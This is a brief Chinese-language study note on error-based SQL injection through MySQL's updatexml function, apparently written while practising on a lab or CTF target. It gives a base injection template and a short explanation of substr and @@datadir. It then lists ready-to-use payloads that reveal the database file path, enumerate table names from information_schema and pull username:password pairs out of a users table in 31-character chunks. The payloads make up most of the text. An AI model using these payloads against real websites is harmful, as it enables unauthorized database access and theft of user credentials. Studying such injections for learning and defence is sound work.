updatexml式注入
基础语句:id=x' or updatexml(1,concat(0x7e,(payload)),0) #
今日所学:
@@datadir:爆数据库文件所在位置
substr函数:substr(string,start<,length>)从string 的start位置开始提取字符串
length:待提取的字符串的长度,若length为一下情况时,返回整个字符串的所有字符。
1、length不指定
2、length为空
3、length为负值
4、length大于字符串的长度
1' and updatexml(1,concat(0x7e,(select @@datadir)),1) and'
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) and'
1' and updatexml(1,concat(0x7e,substr((select group_concat(concat_ws(':', username,password)) from users),1,31)),1) and'
1' and updatexml(1,concat(0x7e,substr((select group_concat(concat_ws(':', username,password)) from users),32,31)),1) and'